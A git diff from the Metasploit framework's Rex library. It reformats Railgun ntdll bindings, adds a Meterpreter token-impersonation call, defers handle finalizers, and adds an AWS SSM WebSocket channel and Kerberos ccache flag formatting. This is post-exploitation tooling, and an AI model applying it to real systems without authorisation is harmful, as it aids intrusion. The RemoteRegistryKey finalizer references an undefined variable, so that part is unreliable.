["PBLOB","String","inout"], - ["DWORD","Base","in"], - ["PDWORD","Value","inout"], - ]) - - dll.add_function('RtlConvertSidToUnicodeString', 'DWORD',[ - ["PBLOB","UnicodeString","inout"], - ["PBLOB","Sid","inout"], - ["BOOL","AllocateDestinationString","in"], - ]) - - dll.add_function('RtlFreeAnsiString', 'VOID',[ - ["PBLOB","AnsiString","inout"], - ]) - - dll.add_function('RtlFreeOemString', 'VOID',[ - ["PBLOB","OemString","inout"], - ]) - - dll.add_function('RtlFreeUnicodeString', 'VOID',[ - ["PBLOB","UnicodeString","inout"], - ]) - - dll.add_function('RtlGetNtVersionNumbers', 'VOID',[ - ["PDWORD","MajorVersion","inout"], - ["PDWORD","MinorVersion","inout"], - ["PDWORD","BuildNumber","inout"] - ]) - - dll.add_function('RtlInitAnsiString', 'VOID',[ - ["PBLOB","DestinationString","inout"], - ["PBLOB","SourceString","inout"], - ]) - - dll.add_function('RtlInitString', 'VOID',[ - ["PBLOB","DestinationString","inout"], - ["PBLOB","SourceString","inout"], - ]) - - dll.add_function('RtlLocalTimeToSystemTime', 'DWORD',[ - ["PBLOB","LocalTime","in"], - ["PBLOB","SystemTime","inout"], - ]) - - dll.add_function('RtlNtStatusToDosError', 'DWORD',[ - ["DWORD","Status","in"], - ]) - - dll.add_function('RtlTimeToSecondsSince1970', 'BOOL',[ - ["PBLOB","Time","inout"], - ["PDWORD","ElapsedSeconds","inout"], - ]) - - dll.add_function('RtlUniform', 'DWORD',[ - ["PDWORD","Seed","inout"], - ]) - - dll.add_function('RtlUnwind', 'VOID',[ - ["PBLOB","TargetFrame","in"], - ["PBLOB","TargetIp","in"], - ["PBLOB","ExceptionRecord","in"], - ["PBLOB","ReturnValue","in"], - ]) - - dll.add_function('RtlInitUnicodeString', 'VOID',[ - ["PBLOB","DestinationString","out"], - ["PWCHAR","SourceString","in"] - ]) - - dll.add_function('NtCreateSymbolicLinkObject', 'DWORD',[ - ["PDWORD","LinkHandle","out"], - ["DWORD","DesiredAccess","in"], # ACCESS_MASK - ["PBLOB","ObjectAttributes","in"], # POBJECT_ATTRIBUTES - ["PBLOB","TargetName","in"] # PUNICODE_STRING - ]) - - return dll - end - -end - -end; end; end; end; end; end; end - +module Rex + module Post + module Meterpreter + module Extensions + module Stdapi + module Railgun + module Def + class Def_windows_ntdll + + def self.create_library(constant_manager, library_path = 'ntdll') + dll = Library.new(library_path, constant_manager) + + dll.add_function('NtAllocateVirtualMemory', 'DWORD', [ + ['DWORD', 'ProcessHandle', 'in'], + ['PBLOB', 'BaseAddress', 'inout'], + ['PDWORD', 'ZeroBits', 'in'], + ['PBLOB', 'RegionSize', 'inout'], + ['DWORD', 'AllocationType', 'in'], + ['DWORD', 'Protect', 'in'] + ]) + + dll.add_function('NtClose', 'DWORD', [ + ['DWORD', 'Handle', 'in'], + ]) + + dll.add_function('NtCreateFile', 'DWORD', [ + ['PHANDLE', 'FileHandle', 'inout'], + ['DWORD', 'DesiredAccess', 'in'], + ['PBLOB', 'ObjectAttributes', 'in'], + ['PBLOB', 'IoStatusBlock', 'inout'], + ['PBLOB', 'AllocationSize', 'in'], + ['DWORD', 'FileAttributes', 'in'], + ['DWORD', 'ShareAccess', 'in'], + ['DWORD', 'CreateDisposition', 'in'], + ['DWORD', 'CreateOptions', 'in'], + ['PBLOB', 'EaBuffer', 'in'], + ['DWORD', 'EaLength', 'in'], + ]) + + dll.add_function('NtDeviceIoControlFile', 'DWORD', [ + ['DWORD', 'FileHandle', 'in'], + ['DWORD', 'Event', 'in'], + ['LPVOID', 'ApcRoutine', 'in'], + ['LPVOID', 'ApcContext', 'in'], + ['PDWORD', 'IoStatusBlock', 'out'], + ['DWORD', 'IoControlCode', 'in'], + ['LPVOID', 'InputBuffer', 'in'], + ['DWORD', 'InputBufferLength', 'in'], + ['LPVOID', 'OutputBuffer', 'in'], + ['DWORD', 'OutputBufferLength', 'in'], + ]) + + dll.add_function('NtOpenFile', 'DWORD', [ + ['PHANDLE', 'FileHandle', 'inout'], + ['DWORD', 'DesiredAccess', 'in'], + ['PBLOB', 'ObjectAttributes', 'in'], + ['PBLOB', 'IoStatusBlock', 'inout'], + ['DWORD', 'ShareAccess', 'in'], + ['DWORD', 'OpenOptions', 'in'], + ]) + + dll.add_function('NtQueryInformationProcess', 'DWORD', [ + ['DWORD', 'ProcessHandle', 'in'], + ['DWORD', 'ProcessInformationClass', 'in'], + ['PBLOB', 'ProcessInformation', 'inout'], + ['DWORD', 'ProcessInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQueryInformationThread', 'DWORD', [ + ['DWORD', 'ThreadHandle', 'in'], + ['DWORD', 'ThreadInformationClass', 'in'], + ['PBLOB', 'ThreadInformation', 'inout'], + ['DWORD', 'ThreadInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQueryIntervalProfile', 'DWORD', [ + ['DWORD', 'ProfileSource', 'in'], + ['PDWORD', 'Interval', 'out'], + ]) + + dll.add_function('NtQuerySystemInformation', 'DWORD', [ + ['DWORD', 'SystemInformationClass', 'in'], + ['PBLOB', 'SystemInformation', 'inout'], + ['DWORD', 'SystemInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQuerySystemTime', 'DWORD', [ + ['PBLOB', 'SystemTime', 'inout'], + ]) + + dll.add_function('NtWaitForSingleObject', 'DWORD', [ + ['DWORD', 'Handle', 'in'], + ['BOOL', 'Alertable', 'in'], + ['PBLOB', 'Timeout', 'in'], + ]) + + dll.add_function('RtlCharToInteger', 'DWORD', [ + ['PBLOB', 'String', 'inout'], + ['DWORD', 'Base', 'in'], + ['PDWORD', 'Value', 'inout'], + ]) + + dll.add_function('RtlConvertSidToUnicodeString', 'DWORD', [ + ['PBLOB', 'UnicodeString', 'inout'], + ['PBLOB', 'Sid', 'inout'], + ['BOOL', 'AllocateDestinationString', 'in'], + ]) + + dll.add_function('RtlFreeAnsiString', 'VOID', [ + ['PBLOB', 'AnsiString', 'inout'], + ]) + + dll.add_function('RtlFreeOemString', 'VOID', [ + ['PBLOB', 'OemString', 'inout'], + ]) + + dll.add_function('RtlFreeUnicodeString', 'VOID', [ + ['PBLOB', 'UnicodeString', 'inout'], + ]) + + dll.add_function('RtlGetNtVersionNumbers', 'VOID', [ + ['PDWORD', 'MajorVersion', 'inout'], + ['PDWORD', 'MinorVersion', 'inout'], + ['PDWORD', 'BuildNumber', 'inout'] + ]) + + dll.add_function('RtlGetVersion', 'VOID', [ + ['PBLOB', 'VersionInformation', 'inout'] + ]) + + dll.add_function('RtlInitAnsiString', 'VOID', [ + ['PBLOB', 'DestinationString', 'inout'], + ['PBLOB', 'SourceString', 'inout'], + ]) + + dll.add_function('RtlInitString', 'VOID', [ + ['PBLOB', 'DestinationString', 'inout'], + ['PBLOB', 'SourceString', 'inout'], + ]) + + dll.add_function('RtlLocalTimeToSystemTime', 'DWORD', [ + ['PBLOB', 'LocalTime', 'in'], + ['PBLOB', 'SystemTime', 'inout'], + ]) + + dll.add_function('RtlNtStatusToDosError', 'DWORD', [ + ['DWORD', 'Status', 'in'], + ]) + + dll.add_function('RtlTimeToSecondsSince1970', 'BOOL', [ + ['PBLOB', 'Time', 'inout'], + ['PDWORD', 'ElapsedSeconds', 'inout'], + ]) + + dll.add_function('RtlUniform', 'DWORD', [ + ['PDWORD', 'Seed', 'inout'], + ]) + + dll.add_function('RtlUnwind', 'VOID', [ + ['PBLOB', 'TargetFrame', 'in'], + ['PBLOB', 'TargetIp', 'in'], + ['PBLOB', 'ExceptionRecord', 'in'], + ['PBLOB', 'ReturnValue', 'in'], + ]) + + dll.add_function('RtlInitUnicodeString', 'VOID', [ + ['PBLOB', 'DestinationString', 'out'], + ['PWCHAR', 'SourceString', 'in'] + ]) + + dll.add_function('NtCreateSymbolicLinkObject', 'DWORD', [ + ['PDWORD', 'LinkHandle', 'out'], + ['DWORD', 'DesiredAccess', 'in'], # ACCESS_MASK + ['PBLOB', 'ObjectAttributes', 'in'], # POBJECT_ATTRIBUTES + ['PBLOB', 'TargetName', 'in'] # PUNICODE_STRING + ]) + + return dll + end + + end + end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 725a0f0028fcc..309b5562cb058 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -166,6 +166,15 @@ def drop_token client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end + # + # Updates the current token for impersonation + # + def update_token(token_handle) + req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN) + req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i) + res = client.send_request(req) + end + # # Enables all possible privileges # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb index 07410d6be91ab..4c1bf51d63420 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb @@ -67,11 +67,16 @@ def initialize(hand) def self.finalize(client,handle) proc do - begin - self.close(client,handle) - rescue => e - elog("finalize method for EventLog failed", error: e) + deferred_close_proc = proc do + begin + self.close(client,handle) + rescue => e + elog("finalize method for EventLog failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index a146189406f7f..6099101c80258 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -337,11 +337,16 @@ def initialize(pid, handle, channel = nil) def self.finalize(client, handle) proc do - begin - self.close(client, handle) - rescue => e - elog("finalize method for Process failed", error: e) + deferred_close_proc = proc do + begin + self.close(client, handle) + rescue => e + elog("finalize method for Process failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end @@ -366,7 +371,7 @@ def self.close(client, handle) request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE) request.add_tlv(TLV_TYPE_HANDLE, handle) client.send_request(request, nil) - handle = nil; + handle = nil return true end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb index fe3ef9e7cd404..936209280863e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb @@ -99,19 +99,18 @@ def _allocate(base, length, allocation_type, protection) # # Deallocate a region of memory in the context of a process. # - def free(base, length = 0) - return _free(base, length) + def free(base) + return _free(base) end # # Low-level memory deallocation. # - def _free(base, length) + def _free(base) request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_FREE) request.add_tlv(TLV_TYPE_HANDLE, process.handle) request.add_tlv(TLV_TYPE_BASE_ADDRESS, base) - request.add_tlv(TLV_TYPE_LENGTH, length) process.client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb index 8daefe8a3a464..d66acf9b525d2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb @@ -36,11 +36,16 @@ def initialize(client, root_key, base_key, perm, hkey) def self.finalize(client,hkey) proc do - begin - self.close(client,hkey) - rescue => e - elog("finalize method for RegistryKey failed", error: e) + deferred_close_proc = proc do + begin + self.close(client,hkey) + rescue => e + elog("finalize method for RegistryKey failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb index aa5320c894864..79a6a2daf3abd 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb @@ -35,11 +35,17 @@ def initialize(client, target_host, root_key, hkey) def self.finalize(client, hkey) proc do - begin - self.close(client, hkey) - rescue => e - elog("finalize method for RemoteRegistryKey failed", error: e) + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule do + begin + self.close(client, hkey) + rescue => e + elog("finalize method for RemoteRegistryKey failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb index cd5a1dafc49fb..294a0e91f0b42 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb @@ -41,11 +41,16 @@ def initialize(process, handle, tid) def self.finalize(client,handle) proc do - begin - self.close(client, handle) - rescue => e - elog("finalize method for thread failed", error: e) + deferred_close_proc = proc do + begin + self.close(client, handle) + rescue => e + elog("finalize method for thread failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 005cb0b3c37d8..d8e0eaf50fafe 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -350,10 +350,6 @@ def inspect else; _tlv_type_string(type) end - val = value.inspect - if val.length > 50 - val = val[0,50] + ' ..."' - end group ||= (self.class.to_s =~ /Packet/) if group has_command_ids = type == PACKET_TYPE_RESPONSE && (self.method == COMMAND_ID_CORE_ENUMEXTCMD || self.method == COMMAND_ID_CORE_LOADLIB) @@ -376,6 +372,20 @@ def inspect } tlvs_inspect << "]" else + val = value.inspect + # Known list of datatypes that shouldn't be truncated, as their values are useful when debugging + is_val_truncation_allowed = ![ + Rex::Post::Meterpreter::TLV_TYPE_UUID, + Rex::Post::Meterpreter::Extensions::Priv::TLV_TYPE_FS_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Priv::TLV_TYPE_FS_SRC_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_DIRECTORY_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_STAT_BUF, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PROCESS_PATH, + ].include?(type) + if is_val_truncation_allowed && val.length > 50 + val = val[0,50] + ' ..."' + end tlvs_inspect = "meta=#{meta.ljust(10)} value=#{val}" if type == TLV_TYPE_COMMAND_ID begin diff --git a/lib/rex/proto/crypto_asn1.rb b/lib/rex/proto/crypto_asn1.rb index 9dc36b84fd1c9..99944cb03e801 100644 --- a/lib/rex/proto/crypto_asn1.rb +++ b/lib/rex/proto/crypto_asn1.rb @@ -46,4 +46,20 @@ class EnrollmentNameValuePair < RASN1::Model bmp_string(:value) ] end + + # see: [[MS-WCCE]: 2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) + class NtdsCaSecurityExt < RASN1::Model + class OtherName < RASN1::Model + sequence :OtherName, implicit: 0, content: [ + objectid(:type_id), + octet_string(:value, explicit: 0, constructed: true) + ] + end + + sequence :NtdsCaSecurityExt, + constructed: true, + content: [ + wrapper(model(:OtherName, OtherName)) + ] + end end diff --git a/lib/rex/proto/http/web_socket.rb b/lib/rex/proto/http/web_socket.rb index b897952cf5899..3e8ed1397bbce 100644 --- a/lib/rex/proto/http/web_socket.rb +++ b/lib/rex/proto/http/web_socket.rb @@ -188,7 +188,7 @@ def put_wstext(value, opts = {}) # # Read a WebSocket::Frame from the peer. # - # @return [WebSocket::Frame] the frame that was received from the peer. + # @return [Nil, WebSocket::Frame] the frame that was received from the peer. def get_wsframe(_opts = {}) frame = Frame.new frame.header.read(self) @@ -232,7 +232,8 @@ def wsclose(opts = {}) frame.mask! put_wsframe(frame, opts = opts) while (frame = get_wsframe(opts)) - break if frame.opcode == Opcode::CONNECTION_CLOSE + break if frame.nil? + break if frame.header.opcode == Opcode::CONNECTION_CLOSE # all other frames are dropped after our connection close request is sent end diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb new file mode 100644 index 0000000000000..1708f9ef0f4a6 --- /dev/null +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -0,0 +1,382 @@ +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto::Http::WebSocket::AmazonSsm + module PayloadType + Output = 1 + Error = 2 + Size = 3 + Parameter = 4 + HandshakeRequest = 5 + HandshakeResponse = 6 + HandshakeComplete = 7 + EncChallengeRequest = 8 + EncChallengeResponse = 9 + Flag = 10 + + def self.from_val(v) + self.constants.find {|c| self.const_get(c) == v } + end + end + + module UUID + def self.unpack(bbuf) + sbuf = "" + [8...12].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [12...14].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [14...16].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [0...2].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [2...8].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf.gsub("\\x",'') + end + + def self.pack(sbuf) + parts = sbuf.split('-').map do |seg| + seg.chars.each_slice(2).map {|e| "\\x#{e.join}"}.join + end + [3, 4, 0, 1, 2].map do |part| + Rex::Text.hex_to_raw(parts[part]) + end.join + end + + def self.rand + self.unpack(Rex::Text.rand_text(16)) + end + end + + module Interface + module SsmChannelMethods + attr_accessor :rows + attr_accessor :cols + + def _start_ssm_keepalive + @keepalive_thread = Rex::ThreadFactory.spawn('SsmChannel-Keepalive', false) do + while not closed? or @websocket.closed? + write '' + Rex::ThreadSafe.sleep(::Random.rand * 10 + 15) + end + @keepalive_thread = nil + end + end + + def close + @keepalive_thread.kill if @keepalive_thread + @keepalive_thread = nil + super + end + + def acknowledge_output(output_frame) + ack = output_frame.to_ack + # ack.header.sequence_number = @out_seq_num + @websocket.put_wsbinary(ack.to_binary_s) + # wlog("SsmChannel: acknowledge output #{output_frame.uuid}") + output_frame.uuid + end + + def pause_publication + msg = SsmFrame.create_pause_pub + @publication = false + @websocket.put_wsbinary(msg.to_binary_s) + end + + def start_publication + msg = SsmFrame.create_start_pub + @publication = true + @websocket.put_wsbinary(msg.to_binary_s) + end + + def handle_output_data(output_frame) + return nil if @ack_message == output_frame.uuid + + @ack_message = acknowledge_output(output_frame) + # TODO: handle Payload::* types + if ![PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type } + wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") + return nil + end + + output_frame.payload_data.value + end + + def handle_acknowledge(ack_frame) + # wlog("SsmChannel: got acknowledge message #{ack_frame.uuid}") + begin + seq_num = JSON.parse(ack_frame.payload_data)['AcknowledgedMessageSequenceNumber'].to_i + @ack_seq_num = seq_num if seq_num > @ack_seq_num + rescue => e + elog("SsmChannel failed to parse ack JSON #{ack_frame.payload_data} due to #{e}!") + end + nil + end + + def update_term_size + return unless ::IO.console + + rows, cols = ::IO.console.winsize + unless rows == self.rows && cols == self.cols + set_term_size(cols, rows) + self.rows = rows + self.cols = cols + end + end + + def set_term_size(cols, rows) + data = JSON.generate({cols: cols, rows: rows}) + frame = SsmFrame.create(data) + frame.payload_type = PayloadType::Size + @websocket.put_wsbinary(frame.to_binary_s) + end + end + + class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel + include SsmChannelMethods + attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num, :ack_message + + def initialize(websocket) + @ack_seq_num = 0 + @out_seq_num = 0 + @run_ssm_pub = true + @ack_message = nil + @publication = false + + super(websocket, write_type: :binary) + end + + def on_data_read(data, _data_type) + return data if data.blank? + + ssm_frame = SsmFrame.read(data) + case ssm_frame.header.message_type.strip + when 'output_stream_data' + @publication = true # Linux sends stream data before sending start_publication message + return handle_output_data(ssm_frame) + when 'acknowledge' + # update ACK seqno + handle_acknowledge(ssm_frame) + when 'start_publication' + @out_seq_num = @ack_seq_num if @out_seq_num > 0 + @publication = true + # handle session resumption - foregrounding or resumption of input + when 'pause_publication' + # @websocket.put_wsbinary(ssm_frame.to_ack.to_binary_s) + @publication = false + # handle session suspension - backgrounding or general idle + when 'input_stream_data' + # this is supposed to be a one way street + emsg = "SsmChannel received input_stream_data from SSM (!!)" + elog(emsg) + raise emsg + when 'channel_closed' + elog("SsmChannel got closed message #{ssm_frame.uuid}") + close + else + raise Rex::Proto::Http::WebSocket::ConnectionError.new( + msg: "Unknown AWS SSM message type: #{ssm_frame.header.message_type}" + ) + end + + nil + end + + def on_data_write(data) + start_publication if not @publication + frame = SsmFrame.create(data) + frame.header.sequence_number = @out_seq_num + @out_seq_num += 1 + frame.to_binary_s + end + + def publishing? + @publication + end + end + + def to_ssm_channel(publish_timeout: 10) + chan = SsmChannel.new(self) + + if publish_timeout + # Waiting for the channel to start publishing + (publish_timeout * 2).times do + break if chan.publishing? + + sleep 0.5 + end + + raise Rex::TimeoutError.new('Timed out while waiting for the channel to start publishing.') unless chan.publishing? + end + + chan + end + end + + class SsmFrame < BinData::Record + endian :big + + struct :header do + endian :big + + uint32 :header_length, initial_value: 116 + string :message_type, length: 32, pad_byte: 0x20, initial_value: 'input_stream_data' + uint32 :schema_version, initial_value: 1 + uint64 :created_date, default_value: lambda { (Time.now.to_f * 1000).to_i } + uint64 :sequence_number, initial_value: 0 + uint64 :flags, value: 0 #lambda { sequence_number == 0 ? 1 : 0 } + string :message_id, length: 16, initial_value: UUID.pack(UUID.rand) + end + + string :payload_digest, length: 32, default_value: -> { Digest::SHA256.digest(payload_data) } + uint32 :payload_type, default_value: PayloadType::Output + uint32 :payload_length, value: -> { payload_data.length } + string :payload_data, read_length: -> { payload_length } + + class << self + def create(data = nil, mtype = 'input_stream_data') + return data if data.is_a?(SsmFrame) + + frame = SsmFrame.new(header: { + message_type: mtype, + created_date: (Time.now.to_f * 1000).to_i, + message_id: UUID.pack(UUID.rand) + }) + if !data.nil? + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = PayloadType::Output + end + frame + end + + def create_pause_pub + uuid = UUID.rand + time = Time.now + data = JSON.generate({ + MessageType: 'pause_publication', + SchemaVersion: 1, + MessageId: uuid, + CreateData: time.strftime("%Y-%m-%dT%T.%LZ") + }) + frame = SsmFrame.new( header: { + message_type: 'pause_publication', + created_date: (time.to_f * 1000).to_i, + message_id: UUID.pack(uuid) + }) + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = 0 + frame + end + + def create_start_pub + data = 'start_publication' + frame = SsmFrame.new( header: { + message_type: data, + created_date: (Time.now.to_f * 1000).to_i, + message_id: UUID.pack(UUID.rand) + }) + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = 0 + frame + end + + def from_ws_frame(wsframe) + SsmFrame.read(wsframe.payload_data) + end + end + + def uuid + UUID.unpack(header.message_id) + end + + def to_ack + data = JSON.generate({ + AcknowledgedMessageType: header.message_type.strip, + AcknowledgedMessageId: uuid, + AcknowledgedMessageSequenceNumber: header.sequence_number.to_i, + IsSequentialMessage: true + }) + ack = SsmFrame.create(data, 'acknowledge') + ack.header.sequence_number = header.sequence_number + ack.header.flags = header.flags + ack + end + + def length + to_binary_s.length + end + end + # + # Initiates a WebSocket session based on the params of SSM::Client#start_session + # + # @param [Aws::SSM::Types::StartSessionResponse] :session_init Parameters returned by #start_session + # @param [Integer] :timeout + # + # @return [Socket] Socket representing the authenticates SSM WebSocket connection + def connect_ssm_ws(session_init, timeout = 20) + # hack-up a "graceful fail-down" in the caller + # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sessions still need structs/parsing') + ws_key = session_init.token_value + ssm_id = session_init.session_id + ws_url = URI.parse(session_init.stream_url) + opts = {} + opts['vhost'] = ws_url.host + opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/, '') + opts['headers'] = { + 'Connection' => 'Upgrade', + 'Upgrade' => 'WebSocket', + 'Sec-WebSocket-Version' => 13, + 'Sec-WebSocket-Key' => ws_key + } + ctx = { + 'Msf' => framework, + 'MsfExploit' => self + } + http_client = Rex::Proto::Http::Client.new(ws_url.host, 443, ctx, true) + raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? + + # Send upgrade request + req = http_client.request_raw(opts) + res = http_client.send_recv(req, timeout) + # Verify upgrade + unless res&.code == 101 + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) + end + # see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept + accept_ws_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) + unless res.headers['Sec-WebSocket-Accept'] == accept_ws_key + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) + end + # Extract and extend connection object + socket = http_client.conn + socket.extend(Rex::Proto::Http::WebSocket::Interface) + # Send initialization handshake + ssm_wsock_init = JSON.generate({ + MessageSchemaVersion: '1.0', + RequestId: UUID.rand, + TokenValue: ws_key + }) + socket.put_wstext(ssm_wsock_init) + # Extend with interface + socket.extend(Interface) + end +end diff --git a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb index 1025598bb1e7d..8327417b461b0 100644 --- a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb +++ b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb @@ -30,6 +30,13 @@ class Krb5CcachePresenter }.freeze private_constant :AD_TYPE_MAP + # Tracks the currently supported BinData types that can be formatted by the + # Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter#print_bin_data_model method. + BIN_DATA_BIT_LENGTHS = { + ::BinData::Bit1 => 1 + }.freeze + private_constant :BIN_DATA_BIT_LENGTHS + # @param [Rex::Proto::Kerberos::CredentialCache::Krb5Ccache] ccache def initialize(ccache) @ccache = ccache @@ -106,6 +113,94 @@ def present_cred(cred, key: nil) output.join("\n") end + # This method takes a BinData object and parses it to create a formatted output + # that help users visualise what each flag means as well as if it is set or not + # + # Note: For now we only support bit1 flags from BinData, this could be extended in the future + # + # Example output + # .... .... .... .... .... .... .... .0.. Flag 29: The flag 29 is NOT SET + # .... .... .... .... .... .... .... ..1. Flag 30: The flag 30 is SET + # .... .... .... .... .... .... .... ...1 Flag 31: The flag 31 is SET + # + # @param model The BinData object + # @param [Integer, Nil] bit_length The length of desired byte output - number of dots in example above + # @return [String] Formatted output + def print_bin_data_model(model, bit_length: nil) + rows = [] + + # i.e. [[:field_name_1, 1], [:field_name_2, 0]] + fields_and_values = model.to_enum(:each_pair).to_a + fields = fields_and_values.map { |field, _value| field } + values = fields_and_values.map { |_field, value| value } + + # For now we only support bit1 flags from BinData, this could be extended in the future + fields_and_values.each do |field, value| + unless BIN_DATA_BIT_LENGTHS.keys.include?(value.class) + raise TypeError, "Unsupported field type #{value.class} for field #{field.inspect} - expected one of #{BIN_DATA_BIT_LENGTHS.keys.join(',')}" + end + end + + # calculate the bit length; we can't rely on BinData's `num_bytes` in the senario of the model being 4 bits wide. + calculated_bit_length = values.sum { |value| BIN_DATA_BIT_LENGTHS.fetch(value.class) } + bit_length ||= calculated_bit_length + + if bit_length != calculated_bit_length + raise ArgumentError, "Not implemented. Bit length(#{bit_length}) should equal the bit length of the model #{calculated_bit_length}" + end + + padding = Array.new(bit_length - fields.length, :_reserved_) + flag_keys = padding + fields + binary_value = values.join + + bit_length.times do |i| + next if flag_keys[i].start_with?('_reserved_') + + dot_formatting = Array.new(bit_length, '.') + dot_formatting[(i - 1) - (bit_length - 1)] = binary_value[i] + buckets = dot_formatting.in_groups_of(4) # Issue if we don't received a multiple of 4 + dot_formatting = buckets.map(&:join).join(' ') + + human_readable_flag_name = flag_keys[i].to_s.split('_').map(&:capitalize).join(' ') + description = "#{human_readable_flag_name}: The #{flag_keys[i].to_s.upcase} bit is #{binary_value.chars[i] == '1' ? 'SET' : 'NOT SET'}" 